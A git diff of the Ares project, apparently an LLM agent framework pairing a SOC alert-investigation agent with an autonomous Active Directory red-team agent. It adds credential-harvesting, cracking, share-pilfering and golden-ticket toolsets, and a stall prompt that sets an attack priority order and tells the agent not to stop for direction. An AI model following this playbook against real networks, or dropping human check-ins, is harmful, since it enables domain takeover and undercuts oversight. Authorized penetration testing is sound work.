"""Load climb strategies from YAML configuration file."""
- # Get project root (parent of src/)
- project_root = Path(__file__).parent.parent
+ # Get project root (from src/ares/core/engines.py -> ../../..)
+ project_root = Path(__file__).parent.parent.parent.parent
strategies_path = project_root / "templates" / "engines" / "climb_strategies.yaml"
with strategies_path.open() as f:
diff --git a/src/ares/core/factories/__init__.py b/src/ares/core/factories/__init__.py
new file mode 100644
index 00000000..a45a4ff6
--- /dev/null
+++ b/src/ares/core/factories/__init__.py
@@ -0,0 +1,9 @@
+"""Agent factories for creating configured blue and red team agents."""
+
+from ares.core.factories.blue_factory import create_investigation_agent
+from ares.core.factories.red_factory import create_redteam_agent
+
+__all__ = [
+ "create_investigation_agent",
+ "create_redteam_agent",
+]
diff --git a/src/core/create.py b/src/ares/core/factories/blue_factory.py
similarity index 65%
rename from src/core/create.py
rename to src/ares/core/factories/blue_factory.py
index 07f95e4a..39022545 100644
--- a/src/core/create.py
+++ b/src/ares/core/factories/blue_factory.py
@@ -8,27 +8,52 @@
from dreadnode.agent.thread import Thread
from loguru import logger
-from src.mitre import MITREAttackClient
-from src.models import InvestigationState
-from src.templates import get_template_loader
-from src.tools import (
+from ares.core.models import InvestigationState
+from ares.core.templates import get_template_loader
+from ares.integrations.mitre import MITREAttackClient
+from ares.tools.blue import (
+ CompletionTools,
GrafanaTools,
InvestigationTools,
- MITRELookupTools,
QuestionEngineTools,
- complete_investigation,
escalate_investigation,
)
+from ares.tools.shared import MITRELookupTools
# Load system instructions from template
SYSTEM_INSTRUCTIONS = get_template_loader().render("agent/system_instructions.md.jinja")
+# Track consecutive query calls without workflow progress
+_consecutive_queries = []
+
async def log_tool_usage(event: ToolStart):
- """Log tool calls for observability."""
+ """Log tool calls for observability and detect loops."""
if hasattr(event, "tool_call") and event.tool_call:
- logger.info(f"🔧 Tool call: {event.tool_call.name}")
- dn.log_metric(f"tool_{event.tool_call.name}", 1, mode="count")
+ tool_name = event.tool_call.name
+ logger.info(f"🔧 Tool call: {tool_name}")
+ dn.log_metric(f"tool_{tool_name}", 1, mode="count")
+
+ # Track if agent is stuck in query loop
+ if "query_loki" in tool_name or "query_prometheus" in tool_name:
+ _consecutive_queries.append(tool_name)
+ # Keep only last 5 calls
+ if len(_consecutive_queries) > 5:
+ _consecutive_queries.pop(0)
+
+ # If last 3 calls are all queries, warn
+ if len(_consecutive_queries) >= 3 and all(
+ "query_loki" in t or "query_prometheus" in t for t in _consecutive_queries[-3:]
+ ):
+ logger.warning(
+ "⚠️ DETECTED QUERY LOOP: 3+ consecutive queries without recording evidence"
+ )
+ logger.warning(
+ "Agent should call record_evidence() or get_combined_questions() next"
+ )
+ elif "record_evidence" in tool_name or "get_combined_questions" in tool_name:
+ # Reset counter when workflow tools are called
+ _consecutive_queries.clear()
async def log_tool_result(event: ToolEnd):
@@ -47,8 +72,9 @@ async def log_tool_result(event: ToolEnd):
"You seem stuck. Remember:\n"
"1. Call get_combined_questions() to get next questions\n"
"2. Execute queries in PARALLEL to answer those questions\n"
- "3. Record evidence with record_evidence()\n"
- "4. When done, call complete_investigation() or escalate_investigation()"
+ "3. Record evidence with record_evidence() for EVERY finding\n"
+ "4. When done, call complete_investigation() or escalate_investigation()\n\n"
+ "If queries return empty results, document that and try broader queries OR move forward."
),
)
@@ -91,13 +117,16 @@ def create_investigation_agent(
mitre_tools = MITRELookupTools()
mitre_tools.set_client(mitre_client)
+ completion_tools = CompletionTools()
+ completion_tools.set_state(state)
+
# Build tool list
tools: list = [
grafana_tools,
investigation_tools,
question_tools,
mitre_tools,
- complete_investigation,
+ completion_tools,
escalate_investigation,
]
diff --git a/src/ares/core/factories/red_factory.py b/src/ares/core/factories/red_factory.py
new file mode 100644
index 00000000..483bb3ae
--- /dev/null
+++ b/src/ares/core/factories/red_factory.py
@@ -0,0 +1,218 @@
+"""Factory for creating red team agents with presets."""
+
+import dreadnode as dn
+from dreadnode.agent import Agent
+from dreadnode.agent.events import (
+ AgentEnd,
+ AgentError,
+ AgentStalled,
+ GenerationEnd,
+ StepStart,
+ ToolEnd,
+ ToolStart,
+)
+from dreadnode.agent.hooks import retry_with_feedback
+from dreadnode.agent.stop import tool_use
+from dreadnode.agent.thread import Thread
+from loguru import logger
+
+from ares.core.models import RedTeamState
+from ares.core.templates import get_template_loader
+from ares.integrations.mitre import MITREAttackClient
+from ares.tools.red.network import (
+ BloodHoundTools,
+ CertipyTools,
+ CrackingTools,
+ CredentialHarvestingTools,
+ DelegationTools,
+ GoldenTicketTools,
+ NetworkEnumerationTools,
+ RedTeamReportingTools,
+ SharePilferingTools,
+)
+
+# Load system instructions from template
+REDTEAM_SYSTEM_INSTRUCTIONS = get_template_loader().render(
+ "redteam/agents/system_instructions.md.jinja"
+)
+
+
+async def log_step_start(event: StepStart):
+ """Log step start for debugging."""
+ logger.info(f"📍 Step started: step_number={getattr(event, 'step_number', '?')}")
+
+
+async def log_generation_end(event: GenerationEnd):
+ """Log generation end with details."""
+ logger.info("📍 Generation ended")
+ # Log the message if available
+ if hasattr(event, "message") and event.message:
+ msg = event.message
+ logger.info(f"📍 Message type: {type(msg).__name__}")
+ if hasattr(msg, "content"):
+ logger.info(f"📍 Message content (first 500 chars): {str(msg.content)[:500]}")
+ if hasattr(msg, "tool_calls") and msg.tool_calls:
+ logger.info(f"📍 Tool calls requested: {[tc.name for tc in msg.tool_calls]}")
+
+
+async def log_agent_error(event: AgentError):
+ """Log agent errors."""
+ error = getattr(event, "error", None)
+ logger.error(f"🚨 Agent error: {error}")
+ if hasattr(event, "traceback"):
+ logger.error(f"🚨 Traceback: {event.traceback}")
+
+
+async def log_agent_end(event: AgentEnd):
+ """Log agent end."""
+ stop_reason = getattr(event, "stop_reason", None)
+ logger.info(f"📍 Agent ended: stop_reason={stop_reason}")
+
+
+async def log_tool_usage(event: ToolStart):
+ """Log tool calls for observability."""
+ if hasattr(event, "tool_call") and event.tool_call:
+ logger.info(f"🔧 Red Team Tool: {event.tool_call.name}")
+ logger.info(f"🔧 Tool args: {getattr(event.tool_call, 'arguments', {})}")
+ dn.log_metric(f"redteam_tool_{event.tool_call.name}", 1, mode="count")
+
+
+async def log_tool_result(event: ToolEnd):
+ """Log tool results."""
+ if hasattr(event, "tool_call") and event.tool_call:
+ if hasattr(event, "error") and event.error:
+ logger.warning(f"❌ Tool {event.tool_call.name} failed: {event.error}")
+ dn.log_metric("redteam_tool_errors", 1, mode="count")
+ else:
+ result = getattr(event, "result", None)
+ result_preview = str(result)[:200] if result else "None"
+ logger.info(f"✅ Tool {event.tool_call.name} completed: {result_preview}")
+
+
+unstall_hook = retry_with_feedback(
+ event_type=AgentStalled,
+ feedback=(
+ "You seem stuck. Remember the priority workflow:\n"
+ "1. PRIORITY 1: krbtgt hash found? → Use golden_ticket tool immediately\n"
+ "2. PRIORITY 2: Administrator hash found? → domain_admin_checker on ALL targets\n"
+ "3. PRIORITY 3: New password found? → Re-enumerate users, shares, kerberoast, asrep_roast\n"
+ "4. PRIORITY 4: Share access found? → Pilfer shares for credentials\n"
+ "5. Use record_finding to report EVERY discovery\n"
+ "6. Continue autonomous execution - don't stop for direction"
+ ),
+)
+
+
+@dn.tool
+def complete_operation(summary: str) -> str:
+ """
+ Mark the red team operation as complete and generate final report.
+
+ Use this tool when you have:
+ - Exhausted all credential sources
+ - Attempted enumeration on all discovered targets
+ - Cracked all obtainable hashes
+ - Generated golden ticket (if krbtgt hash was found)
+ - Achieved domain admin access (or determined it's not possible)
+
+ Args:
+ summary: Executive summary of the operation including:
+ - All local administrators found
+ - All domain administrators found
+ - Attack paths for each admin compromise
+ - Total credentials obtained
+ - Success metrics achieved
+
+ Returns:
+ Confirmation message
+
+ Example:
+ >>> complete_operation("Operation successful. Domain admin achieved via...")
+ """
+ logger.success(f"🎯 Red team operation completed: {summary}")
+ return f"✓ Operation marked as complete. Summary: {summary}"
+
+
+def create_redteam_agent(
+ model: str,
+ mitre_client: MITREAttackClient,
+ state: RedTeamState,
+ max_steps: int = 200,
+) -> Agent:
+ """
+ Create a configured red team agent.
+
+ Args:
+ model: LLM model to use
+ mitre_client: Initialized MITRE ATT&CK client
+ state: Red team operation state object
+ max_steps: Maximum agent steps (default: 200 for complex operations)
+
+ Returns:
+ Configured agent ready for penetration testing operations
+ """
+ # Initialize toolsets
+ network_tools = NetworkEnumerationTools()
+ network_tools.set_state(state)
+
+ credential_tools = CredentialHarvestingTools()
+ credential_tools.set_state(state)
+
+ cracking_tools = CrackingTools()
+ cracking_tools.set_state(state)
+
+ share_tools = SharePilferingTools()
+ share_tools.set_state(state)
+
+ golden_ticket_tools = GoldenTicketTools()
+ golden_ticket_tools.set_state(state)
+
+ # New GOAD-based toolsets
+ bloodhound_tools = BloodHoundTools()
+ bloodhound_tools.set_state(state)
+
+ certipy_tools = CertipyTools()
+ certipy_tools.set_state(state)
+
+ delegation_tools = DelegationTools()
+ delegation_tools.set_state(state)
+
+ reporting_tools = RedTeamReportingTools()
+ reporting_tools.set_state(state)
+
+ # Build tool list
+ tools: list = [
+ network_tools,
+ credential_tools,
+ cracking_tools,
+ share_tools,
+ golden_ticket_tools,
+ bloodhound_tools,
+ certipy_tools,
+ delegation_tools,
+ reporting_tools,
+ complete_operation,
+ ]
+
+ logger.info(f"Creating red team agent with {len(tools)} toolsets")
+
+ return dn.Agent(
+ name="Ares Red Team Operator",
+ model=model,
+ instructions=REDTEAM_SYSTEM_INSTRUCTIONS,
+ max_steps=max_steps,
+ tools=tools,
+ hooks=[
+ log_step_start,
+ log_generation_end,
+ log_agent_error,
+ log_agent_end,
+ log_tool_usage,
+ log_tool_result,
+ unstall_hook,
+ ],
+ stop_conditions=[
+ tool_use("complete_operation"),
+ ],
+ thread=Thread(), # type: ignore[call-arg]
+ )
diff --git a/src/models.py b/src/ares/core/models.py
similarity index 80%
rename from src/models.py
rename to src/ares/core/models.py
index 2ece8739..1b039b5e 100644
--- a/src/models.py
+++ b/src/ares/core/models.py
@@ -1,7 +1,7 @@
"""Data models for Ares SOC Investigation Agent."""
from dataclasses import dataclass, field
-from datetime import datetime
+from datetime import datetime, timezone
from enum import Enum, IntEnum
from typing import Any
@@ -179,7 +179,7 @@ class InvestigativeQuestion:
urgency_score: float = 0.0
state: QuestionState = QuestionState.PENDING
- created_at: datetime = field(default_factory=datetime.utcnow)
+ created_at: datetime = field(default_factory=lambda: datetime.now(timezone.utc))
answered_at: datetime | None = None
generated_from_evidence_ids: list[str] = field(default_factory=list)
@@ -260,7 +260,7 @@ class InvestigationState:
investigation_id: str
alert: dict[str, Any]
stage: InvestigationStage = InvestigationStage.TRIAGE
- started_at: datetime = field(default_factory=datetime.utcnow)
+ started_at: datetime = field(default_factory=lambda: datetime.now(timezone.utc))
evidence: list[Evidence] = field(default_factory=list)
timeline: list[TimelineEvent] = field(default_factory=list)
@@ -332,3 +332,115 @@ def to_summary(self) -> dict:
"hosts_investigated": list(self.queried_hosts),
"users_investigated": list(self.queried_users),
}
+
+
+# Red Team Models
+@dataclass
+class Target:
+ """Primary target information."""
+
+ ip: str
+ hostname: str = ""
+ domain: str = ""
+
+
+@dataclass
+class Host:
+ """Discovered host information."""
+
+ ip: str
+ hostname: str = ""
+ os: str = ""
+ roles: list[str] = field(default_factory=list)
+ services: list[str] = field(default_factory=list)
+
+
+@dataclass
+class User:
+ """Discovered user account."""
+
+ username: str
+ domain: str = ""
+ description: str = ""
+ is_admin: bool = False
+
+
+@dataclass
+class Credential:
+ """Discovered credential."""
+
+ username: str
+ password: str
+ domain: str = ""
+ source: str = "" # where it was found
+ is_admin: bool = False
+
+
+@dataclass
+class Hash:
+ """Discovered password hash."""
+
+ username: str
+ hash_value: str
+ hash_type: str = "NTLM"
+ domain: str = ""
+ cracked_password: str = ""
+
+
+@dataclass
+class Share:
+ """Discovered SMB share."""
+
+ host: str
+ name: str
+ permissions: str = "" # READ, WRITE, READ/WRITE
+ comment: str = ""
+
+
+@dataclass
+class RedTeamState:
+ """Tracks state for red team operations."""
+
+ operation_id: str
+ target: Target
+ completed: bool = False
+ started_at: datetime = field(default_factory=lambda: datetime.now(timezone.utc))
+ stage: InvestigationStage = InvestigationStage.TRIAGE
+ report_summary: str = ""
+
+ # Discovery tracking
+ hosts: list[Host] = field(default_factory=list)
+ users: list[User] = field(default_factory=list)
+ credentials: list[Credential] = field(default_factory=list)
+ hashes: list[Hash] = field(default_factory=list)
+ shares: list[Share] = field(default_factory=list)
+ weaknesses: list[str] = field(default_factory=list)
+
+ # Operation tracking
+ queried_hosts: set[str] = field(default_factory=set)
+ tested_credentials: set[str] = field(default_factory=set)
+ timeline: list[TimelineEvent] = field(default_factory=list)
+ identified_techniques: set[str] = field(default_factory=set)
+
+ # Success flags
+ has_domain_admin: bool = False
+ has_golden_ticket: bool = False
+
+ @property
+ def host_count(self) -> int:
+ """Count of discovered hosts."""
+ return len(self.hosts)
+
+ @property
+ def credential_count(self) -> int:
+ """Count of discovered credentials."""
+ return len(self.credentials)
+
+ @property
+ def admin_count(self) -> int:
+ """Count of admin credentials."""
+ return sum(1 for c in self.credentials if c.is_admin)
+
+ def get_credential_key(self, username: str, password: str, domain: str = "") -> str:
+ """Generate unique key for credential tracking."""
+ return f"{domain}:{username}:{password}".lower()
diff --git a/src/templates.py b/src/ares/core/templates.py
similarity index 94%
rename from src/templates.py
rename to src/ares/core/templates.py
index 70a356bd..a5ed7ddd 100644
--- a/src/templates.py
+++ b/src/ares/core/templates.py
@@ -37,8 +37,8 @@ def __init__(self, template_dir: Path | None = None):
Defaults to PROJECT_ROOT/templates/.
"""
if template_dir is None:
- # Get project root (parent of src/)
- project_root = Path(__file__).parent.parent
+ # Get project root (from src/ares/core/templates.py -> ../../..)
+ project_root = Path(__file__).parent.parent.parent.parent
template_dir = project_root / "templates"
self.template_dir = Path(template_dir)
@@ -112,11 +112,11 @@ def get_template_loader() -> TemplateLoader:
Singleton TemplateLoader instance.
Example:
- >>> from src.templates import get_template_loader
+ >>> from ares.core.templates import get_template_loader
>>> loader = get_template_loader()
>>> prompt = loader.render("agent/initial_alert_prompt.md.jinja", ...)
"""
- global _loader # noqa: PLW0603
+ global _loader
if _loader is None:
_loader = TemplateLoader()
return _loader
diff --git a/src/ares/integrations/__init__.py b/src/ares/integrations/__init__.py
new file mode 100644
index 00000000..e95f0a29
--- /dev/null
+++ b/src/ares/integrations/__init__.py
@@ -0,0 +1,7 @@
+"""External service integrations."""
+
+from ares.integrations.mitre import MITREAttackClient
+
+__all__ = [
+ "MITREAttackClient",
+]
diff --git a/src/mitre.py b/src/ares/integrations/mitre.py
similarity index 100%
rename from src/mitre.py
rename to src/ares/integrations/mitre.py
diff --git a/src/ares/main.py b/src/ares/main.py
new file mode 100644
index 00000000..b5071740
--- /dev/null
+++ b/src/ares/main.py
@@ -0,0 +1,413 @@
+"""
+Ares SOC Investigation Agent - Entry Point
+
+Run with: uv run python -m ares [OPTIONS]
+"""
+
+import asyncio
+import os
+from dataclasses import dataclass
+from pathlib import Path
+
+import cyclopts
+import dreadnode as dn
+from loguru import logger
+
+app = cyclopts.App(
+ name="ares",
+ help="Autonomous SOC Investigation Agent - Question-driven threat investigation",
+)
+
+
+@dataclass
+class Args:
+ """Investigation agent arguments.
+
+ Attributes:
+ model: LLM model to use (supports litellm format).
+ grafana_url: Grafana URL for alert polling and MCP connection.
+ grafana_api_key: Grafana API key (or set GRAFANA_API_KEY env var).
+ poll_interval: Seconds between alert polling cycles.
+ max_steps: Maximum agent steps per investigation.
+ report_dir: Directory for markdown reports.
+ once: Process current alerts once and exit (default: run forever).
+ """
+
+ model: str = "claude-sonnet-4-20250514"
+ grafana_url: str = "https://grafana.dev.plundr.ai"
+ grafana_api_key: str = ""
+ poll_interval: int = 30
+ max_steps: int = 150
+ report_dir: str = "./reports" # Relative to CWD
+ once: bool = False # Process current alerts once and exit
+
+
+@dataclass
+class DreadnodeArgs:
+ """Dreadnode platform arguments.
+
+ Attributes:
+ server: Dreadnode platform server URL.
+ token: Dreadnode API token (or set DREADNODE_API_KEY env var).
+ organization: Dreadnode organization name.
+ workspace: Dreadnode workspace name.
+ project: Dreadnode project name.
+ console: Enable console output.
+ """
+
+ server: str = "https://platform.dev.plundr.ai/"
+ token: str = ""
+ organization: str = "ares"
+ workspace: str = "ares-protocol"
+ project: str = "ares-soc"
+ console: bool = True
+
+
+# Cyclopts decorator typing not yet fully supported by type checkers
+@app.default # type: ignore[untyped-decorator]
+async def main(
+ *,
+ args: Args | None = None,
+ dn_args: DreadnodeArgs | None = None,
+) -> None:
+ """
+ Run the Ares SOC Investigation Agent.
+
+ Polls Grafana for alerts and autonomously investigates each one,
+ producing threat intelligence reports.
+
+ Example:
+ uv run python -m ares --model claude-sonnet-4-20250514 --grafana-url http://grafana:3000
+
+ Environment Variables:
+ GRAFANA_API_KEY: Grafana API key
+ DREADNODE_API_KEY: Dreadnode platform token
+ OPENAI_API_KEY / ANTHROPIC_API_KEY: LLM provider keys
+ """
+ args = args or Args()
+ dn_args = dn_args or DreadnodeArgs()
+
+ # Get API keys from environment if not provided
+ grafana_api_key = args.grafana_api_key or os.getenv("GRAFANA_API_KEY", "")
+ dreadnode_token = dn_args.token or os.getenv("DREADNODE_API_KEY", "")
+
+ # Configure Dreadnode
+ dn.configure(
+ server=dn_args.server,
+ token=dreadnode_token,
+ organization=dn_args.organization,
+ workspace=dn_args.workspace,
+ project=dn_args.project,
+ console=dn_args.console,
+ )
+
+ # Log startup
+ logger.info("=" * 60)
+ logger.info("ARES SOC INVESTIGATION AGENT")
+ logger.info("=" * 60)
+ logger.info(f"Model: {args.model}")
+ logger.info(f"Grafana: {args.grafana_url}")
+ logger.info(f"Poll Interval: {args.poll_interval}s")
+ logger.info(f"Max Steps: {args.max_steps}")
+ logger.info(f"Report Dir: {args.report_dir}")
+ logger.info("=" * 60)
+
+ from ares.agents.blue import InvestigationOrchestrator
+ from ares.integrations.mitre import MITREAttackClient
+ from ares.tools.blue import GrafanaTools
+
+ # Initialize MITRE client
+ logger.info("Loading MITRE ATT&CK data from STIX repository...")
+ mitre_client = MITREAttackClient()
+ await mitre_client.load()
+ # Accessing protected members for logging/diagnostics only - not modifying internal state
+ techniques_count = len(mitre_client._techniques)
+ tactics_count = len(mitre_client._tactics)
+ logger.success(f"Loaded {techniques_count} techniques, {tactics_count} tactics")
+
+ report_dir = Path(args.report_dir).resolve()
+ report_dir.mkdir(parents=True, exist_ok=True)
+ logger.info(f"Reports: {report_dir}")
+
+ # Initialize orchestrator
+ orchestrator = InvestigationOrchestrator(
+ model=args.model,
+ grafana_url=args.grafana_url,
+ grafana_api_key=grafana_api_key,
+ mitre_client=mitre_client,
+ report_dir=report_dir,
+ max_steps=args.max_steps,
+ )
+
+ # Initialize Grafana client for polling
+ grafana = GrafanaTools(
+ base_url=args.grafana_url,
+ api_key=grafana_api_key,
+ )
+
+ # Track investigated alerts
+ investigated_fingerprints: set[str] = set()
+
+ if args.once:
+ logger.info("Processing current alerts once and exiting...")
+ else:
+ logger.info(f"Polling for alerts every {args.poll_interval}s...")
+ logger.info("Press Ctrl+C to stop")
+ logger.info("")
+
+ try:
+ while True:
+ try:
+ # Poll for firing alerts
+ alerts = await grafana.get_firing_alerts()
+
+ for alert in alerts:
+ fingerprint = alert.get("fingerprint", "")
+
+ # Skip already investigated
+ if fingerprint in investigated_fingerprints:
+ continue
+
+ alert_name = alert.get("labels", {}).get("alertname", "unknown")
+ severity = alert.get("labels", {}).get("severity", "unknown")
+
+ logger.info("")
+ logger.info("=" * 60)
+ logger.info(f"NEW ALERT: {alert_name}")
+ logger.info(f"Severity: {severity}")
+ logger.info(f"Fingerprint: {fingerprint}")
+ logger.info("=" * 60)
+
+ # Mark as being investigated
+ investigated_fingerprints.add(fingerprint)
+
+ # Run investigation
+ try:
+ result = await orchestrator.investigate(alert)
+
+ logger.success("")
+ logger.success("INVESTIGATION COMPLETE")
+ logger.success(f" Status: {result['status']}")
+ logger.success(f" Evidence: {result['evidence_count']} items")
+ logger.success(f" Techniques: {len(result['techniques_identified'])}")
+ logger.success(f" Pyramid Level: {result['highest_pyramid_level']}/6")
+ logger.success(f" Report: {result['report_path']}")
+
+ except Exception as e:
+ logger.error(f"Investigation failed: {e}")
+ dn.log_metric("investigation_failed", 1, mode="count")
+
+ # If running in once mode, exit after processing current alerts
+ if args.once:
+ logger.info("")
+ logger.info("=" * 60)
+ logger.info(f"Processed {len(investigated_fingerprints)} alerts")
+ logger.info("Exiting (--once mode)")
+ logger.info("=" * 60)
+ break
+
+ # Wait before next poll
+ await asyncio.sleep(args.poll_interval)
+
+ except KeyboardInterrupt:
+ logger.info("")
+ logger.info("Shutting down gracefully...")
+ break
+
+ except Exception as e:
+ logger.error(f"Polling error: {e}")
+ await asyncio.sleep(args.poll_interval)
+
+ finally:
+ # Clean up MCP connection on shutdown
+ logger.info("Cleaning up connections...")
+ await orchestrator._shutdown_mcp()
+ logger.success("Shutdown complete")
+
+
+# Cyclopts decorator typing not yet fully supported by type checkers
+@app.command # type: ignore[untyped-decorator]
+async def investigate_alert(
+ alert_json: str,
+ *,
+ args: Args | None = None,
+ dn_args: DreadnodeArgs | None = None,
+) -> None:
+ """
+ Investigate a specific alert (JSON string or file path).
+
+ Example:
+ uv run python -m ares investigate-alert '{"labels": {"alertname": "HighCPU"}}'
+ uv run python -m ares investigate-alert ./alert.json
+ """
+ import json
+
+ args = args or Args()
+ dn_args = dn_args or DreadnodeArgs()
+
+ # Parse alert
+ if alert_json.startswith("{"):
+ alert = json.loads(alert_json)
+ else:
+ alert = json.loads(Path(alert_json).read_text())
+
+ # Configure Dreadnode
+ grafana_api_key = args.grafana_api_key or os.getenv("GRAFANA_API_KEY", "")
+ dreadnode_token = dn_args.token or os.getenv("DREADNODE_API_KEY", "")
+
+ dn.configure(
+ server=dn_args.server,
+ token=dreadnode_token,
+ organization=dn_args.organization,
+ workspace=dn_args.workspace,
+ project=dn_args.project,
+ console=dn_args.console,
+ )
+
+ from ares.agents.blue import InvestigationOrchestrator
+ from ares.integrations.mitre import MITREAttackClient
+
+ # Load MITRE data
+ logger.info("Loading MITRE ATT&CK data...")
+ mitre_client = MITREAttackClient()
+ await mitre_client.load()
+
+ report_dir = Path(args.report_dir).resolve()
+ report_dir.mkdir(parents=True, exist_ok=True)
+
+ orchestrator = InvestigationOrchestrator(
+ model=args.model,
+ grafana_url=args.grafana_url,
+ grafana_api_key=grafana_api_key,
+ mitre_client=mitre_client,
+ report_dir=report_dir,
+ max_steps=args.max_steps,
+ )
+
+ # Run investigation
+ logger.info(f"Investigating alert: {alert.get('labels', {}).get('alertname', 'unknown')}")
+
+ result = await orchestrator.investigate(alert)
+
+ logger.success("")
+ logger.success("INVESTIGATION COMPLETE")
+ logger.success(f" Report: {result['report_path']}")
+
+
+# Cyclopts decorator typing not yet fully supported by type checkers
+@app.command(name="red-team") # type: ignore[untyped-decorator]
+async def redteam(
+ target_ip: str,
+ *,
+ args: Args | None = None,
+ dn_args: DreadnodeArgs | None = None,
+) -> None:
+ """
+ Execute a red team operation against a target.
+
+ This command runs an autonomous penetration testing agent that will:
+ - Enumerate network hosts, users, and shares
+ - Harvest credentials via secretsdump, kerberoasting, and AS-REP roasting
+ - Crack password hashes
+ - Pilfer SMB shares for credentials
+ - Generate golden tickets if krbtgt hash is found
+ - Achieve domain admin access if possible
+
+ **WARNING**: Only use this command in authorized penetration testing environments.
+ Unauthorized use may be illegal.
+
+ Args:
+ target_ip: Primary target IP address for the red team operation
+
+ Example:
+ uv run python -m src.main redteam 192.168.1.100
+ uv run python -m src.main redteam 192.168.1.100 --args.model claude-sonnet-4-20250514
+ """
+ args = args or Args()
+ dn_args = dn_args or DreadnodeArgs()
+
+ # Configure Dreadnode
+ dreadnode_token = dn_args.token or os.getenv("DREADNODE_API_KEY", "")
+
+ dn.configure(
+ server=dn_args.server,
+ token=dreadnode_token,
+ organization=dn_args.organization,
+ workspace=dn_args.workspace,
+ project=dn_args.project,
+ console=dn_args.console,
+ )
+
+ # Log startup
+ logger.info("=" * 60)
+ logger.info("ARES RED TEAM AGENT")
+ logger.info("=" * 60)
+ logger.info(f"Target: {target_ip}")
+ logger.info(f"Model: {args.model}")
+ logger.info(f"Max Steps: {args.max_steps}")
+ logger.info(f"Report Dir: {args.report_dir}")
+ logger.info("=" * 60)
+
+ from ares.agents.red import RedTeamOrchestrator
+ from ares.integrations.mitre import MITREAttackClient
+
+ # Load MITRE data
+ logger.info("Loading MITRE ATT&CK data...")
+ mitre_client = MITREAttackClient()
+ await mitre_client.load()
+ # Accessing protected members for logging/diagnostics only - not modifying internal state
+ techniques_count = len(mitre_client._techniques)
+ tactics_count = len(mitre_client._tactics)
+ logger.success(f"Loaded {techniques_count} techniques, {tactics_count} tactics")
+
+ report_dir = Path(args.report_dir).resolve()
+ report_dir.mkdir(parents=True, exist_ok=True)
+ logger.info(f"Reports: {report_dir}")
+
+ # Create orchestrator
+ orchestrator = RedTeamOrchestrator(
+ model=args.model,
+ mitre_client=mitre_client,
+ report_dir=report_dir,
+ max_steps=args.max_steps,
+ )
+
+ # Run operation
+ logger.info("")
+ logger.info(f"Starting red team operation against {target_ip}...")
+ logger.info("")
+
+ try:
+ result = await orchestrator.execute_operation(target_ip)
+
+ logger.success("")
+ logger.success("=" * 60)
+ logger.success("RED TEAM OPERATION COMPLETE")
+ logger.success("=" * 60)
+ logger.success(f" Status: {result['status']}")
+ logger.success(f" Hosts Discovered: {result.get('host_count', 0)}")
+ logger.success(f" Credentials Obtained: {result.get('credential_count', 0)}")
+ logger.success(f" Admins Found: {result.get('admin_count', 0)}")
+
+ if result.get("has_domain_admin"):
+ logger.success(" 🎯 DOMAIN ADMIN ACCESS: ACHIEVED")
+ if result.get("has_golden_ticket"):
+ logger.success(" 🎫 GOLDEN TICKET: GENERATED")
+
+ logger.success(f" Report: {result['report_path']}")
+ logger.success("")
+
+ except Exception as e:
+ logger.error("")
+ logger.error(f"Red team operation failed: {e}")
+ raise
+
+
+# Cyclopts decorator typing not yet fully supported by type checkers
+@app.command # type: ignore[untyped-decorator]
+def version() -> None:
+ """Print version information."""
+
+
+if __name__ == "__main__":
+ app()
diff --git a/src/ares/reports/__init__.py b/src/ares/reports/__init__.py
new file mode 100644
index 00000000..024f761c
--- /dev/null
+++ b/src/ares/reports/__init__.py
@@ -0,0 +1,9 @@
+"""Report generators for investigations and red team operations."""
+
+from ares.reports.investigation import MarkdownReportGenerator
+from ares.reports.redteam import RedTeamReportGenerator
+
+__all__ = [
+ "MarkdownReportGenerator",
+ "RedTeamReportGenerator",
+]
diff --git a/src/report.py b/src/ares/reports/investigation.py
similarity index 99%
rename from src/report.py
rename to src/ares/reports/investigation.py
index 24a669aa..47ef14cb 100644
--- a/src/report.py
+++ b/src/ares/reports/investigation.py
@@ -9,8 +9,8 @@
from datetime import datetime, timezone
from pathlib import Path
-from .models import InvestigationState, PyramidLevel
-from .templates import get_template_loader
+from ares.core.models import InvestigationState, PyramidLevel
+from ares.core.templates import get_template_loader
PYRAMID_EMOJI = {
PyramidLevel.HASH_VALUES: "🔵",
diff --git a/src/ares/reports/redteam.py b/src/ares/reports/redteam.py
new file mode 100644
index 00000000..507cce05
--- /dev/null
+++ b/src/ares/reports/redteam.py
@@ -0,0 +1,147 @@
+"""
+Markdown Report Generator for red team operations.
+
+Produces detailed penetration testing reports with discovered assets,
+credentials, attack paths, and MITRE ATT&CK mapping.
+"""
+
+from datetime import datetime, timezone
+
+from ares.core.models import RedTeamState
+from ares.core.templates import get_template_loader
+
+
+class RedTeamReportGenerator:
+ """Generates markdown reports from red team operation results.
+
+ Attributes:
+ loader: Template loader for rendering report sections.
+ """
+
+ def __init__(self):
+ self.loader = get_template_loader()
+
+ def generate(self, state: RedTeamState) -> str:
+ """Generate the full markdown report.
+
+ Args:
+ state: Red team operation state containing all findings.
+
+ Returns:
+ Complete markdown report as a string.
+ """
+ # Calculate duration
+ duration = datetime.now(timezone.utc) - state.started_at
+ duration_str = str(duration).split(".")[0] # Remove microseconds
+
+ # Generate executive summary
+ executive_summary = self._generate_executive_summary(state)
+
+ # Render the report using the template
+ return self.loader.render(
+ "redteam/reports/operation_summary.md.jinja",
+ operation_id=state.operation_id,
+ target_ip=state.target.ip,
+ started_at=state.started_at.strftime("%Y-%m-%d %H:%M:%S UTC"),
+ completed_at=datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M:%S UTC"),
+ duration=duration_str,
+ stage=state.stage.value,
+ executive_summary=executive_summary,
+ has_domain_admin=state.has_domain_admin,
+ has_golden_ticket=state.has_golden_ticket,
+ host_count=state.host_count,
+ user_count=len(state.users),
+ credential_count=state.credential_count,
+ admin_count=state.admin_count,
+ share_count=len(state.shares),
+ hosts=state.hosts,
+ users=state.users,
+ credentials=state.credentials,
+ shares=state.shares,
+ weaknesses=state.weaknesses,
+ timeline=state.timeline,
+ techniques_identified=state.identified_techniques,
+ )
+
+ def _generate_executive_summary(self, state: RedTeamState) -> str:
+ """Generate the executive summary section.
+
+ Args:
+ state: Red team operation state.
+
+ Returns:
+ Executive summary text.
+ """
+ if state.report_summary:
+ return state.report_summary
+
+ summary_parts = []
+
+ # Operation overview
+ summary_parts.append(
+ f"Red team operation **{state.operation_id}** was executed against target "
+ f"**{state.target.ip}** in an Active Directory penetration testing engagement."
+ )
+
+ # Key achievements
+ achievements = []
+ if state.has_domain_admin:
+ achievements.append("✓ **Domain Administrator access achieved**")
+ if state.has_golden_ticket:
+ achievements.append("✓ **Golden ticket generated** for persistent access")
+ if state.admin_count > 0:
+ achievements.append(f"✓ **{state.admin_count} administrator account(s)** discovered")
+ if state.credential_count > 0:
